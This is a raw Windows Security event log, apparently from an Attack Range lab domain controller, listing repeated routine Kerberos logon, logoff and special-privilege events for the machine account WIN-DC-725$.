-03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248486 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7657 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248485 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB75E8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248484 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB75E8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63932 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:18 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248483 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB75E8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248506 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8662 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248505 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8662 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63939 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248504 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8662 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248503 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8605 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248502 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8605 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63938 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248501 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8605 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248500 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB85A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248499 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB85A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63937 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248498 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB85A3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248497 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8546 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248496 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8546 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63936 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248495 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8546 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248518 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB880B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248517 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB880B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63943 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248516 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB880B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248515 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB87AA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248514 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB87AA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63942 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248513 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB87AA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248512 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8744 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248511 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8744 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63941 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248510 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8744 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248509 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB86E3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248508 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB86E3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63940 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248507 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB86E3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248530 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB89AD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248529 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: 